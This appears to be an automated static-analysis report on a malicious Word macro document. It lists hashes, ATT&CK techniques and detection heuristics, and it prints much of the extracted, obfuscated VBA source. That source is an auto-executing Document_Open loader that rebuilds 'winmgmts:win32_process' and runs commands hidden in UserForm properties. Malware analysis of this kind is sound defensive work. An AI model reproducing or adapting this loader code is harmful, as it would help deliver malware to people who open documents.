Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb6dd67322765cd2…

MALICIOUS

Office (OLE)

175.3 KB Created: 2020-07-28 21:57:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 077c8cd885990a980e6a4f192384641d SHA-1: 02051badaad5a24a2424b058f1da07e9fe4d60d2 SHA-256: eb6dd67322765cd2cc038d413f74ef6bc9558195a9c1db16f6c8d600cd92859e
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' strongly suggests the VBA code is designed to execute arbitrary commands, likely to download and execute a secondary payload. ClamAV detection further supports the malicious classification.

Heuristics 7

  • ClamAV: Doc.Malware.Logan-9206407-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Logan-9206407-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5190 bytes
SHA-256: 9f1a17ef8e4a9396d891428f0ddec63e37d4bf8a4ca9b719a52c55e777cd2d7c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OCOSPshyuvtwhlifloi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
XLDYYlghillhnkwfsc.LHNODdyfpczow
End Sub


Attribute VB_Name = "XLDYYlghillhnkwfsc"
Attribute VB_Base = "0{BF01B319-125C-47AC-BD55-2ABC1A3F98DD}{D4FA60E3-5209-4A1C-82DC-651BFFFB9596}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function LHNODdyfpczow()
MALVAjlsmlmwnvi = Chr(XLDYYlghillhnkwfsc.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
ZUWPNiikefyzaheda = "TZWORquchghnbucnpu"
Loop
BAQGXfyjtgrivpnucqp = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + MALVAjlsmlmwnvi + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + XLDYYlghillhnkwfsc.MMJDEjezvqau + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
ZAADYdvoxkxcvgktxvl = "GULBCcredwmr"
Loop
EXKFUdbkdzxkuihf = VTKDVfhlpfmbymjyp(BAQGXfyjtgrivpnucqp)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
DAWTWylvbxskdl = "QBFSErtfpzbvlq"
Loop
Set KHVUIijxhebapantbg = CreateObject(EXKFUdbkdzxkuihf)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
FGDXPtywocyqqndsmxx = XLDYYlghillhnkwfsc.CNVVOfosgxmjgeu.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
AYFSSfozbwahewt = "YRKOCrumskvguudze"
Loop
SWJGJkbqplqsibjrpwp = NN + (EXKFUdbkdzxkuihf + MALVAjlsmlmwnvi) + XLDYYlghillhnkwfsc.OKYMFacjmaydsindex.ControlTipText + FGDXPtywocyqqndsmxx
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
MMGHXchrvfjangay = SWJGJkbqplqsibjrpwp + XLDYYlghillhnkwfsc.MMJDEjezvqau
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
WUEKTbbbdvdkoiwjc = "BCIJDsahjhfgt"
Loop
Set DBRDVhjfgnmsjbf = VAOMJqudzgibphbhzu(MMGHXchrvfjangay)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
COAZLoyinbny = "IVNKLrzxchnqlj"
Loop
uiii = Array("BNSBSBBSSS", KHVUIijxhebapantbg. _
Create(ZPFVBopmvcnulgofyw, STVXCchziwxofso, DBRDVhjfgnmsjbf), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function VAOMJqudzgibphbhzu(ZUNDXvtlnuofqlcri)
Set VAOMJqudzgibphbhzu = CreateObject(ZUNDXvtlnuofqlcri)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
VFJSLvwuotdahm = "ZEMQTgqwgawfon"
Loop
VAOMJqudzgibphbhzu.showwindow = (UFNARkcrzwxai + YHSVNxjsbvbfid) + (PQIHKyymguyxnnuwf + NHTDKapucdszmb)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function VTKDVfhlpfmbymjyp(HXZHPnictuqbzwp)
ILQNFwqfumpq = HXZHPnictuqbzwp
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
ZKGOTxkavmapawfhzvx = "VYMGIrqwvuhiwyodoh"
Loop
PCHXRqpegilas = Split _
(ILQNFwqfumpq, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
KDHYRjkpxwwsdog = "BYAFCgnfaestc"
Loop
MQTXWtzwyfus
... (truncated)

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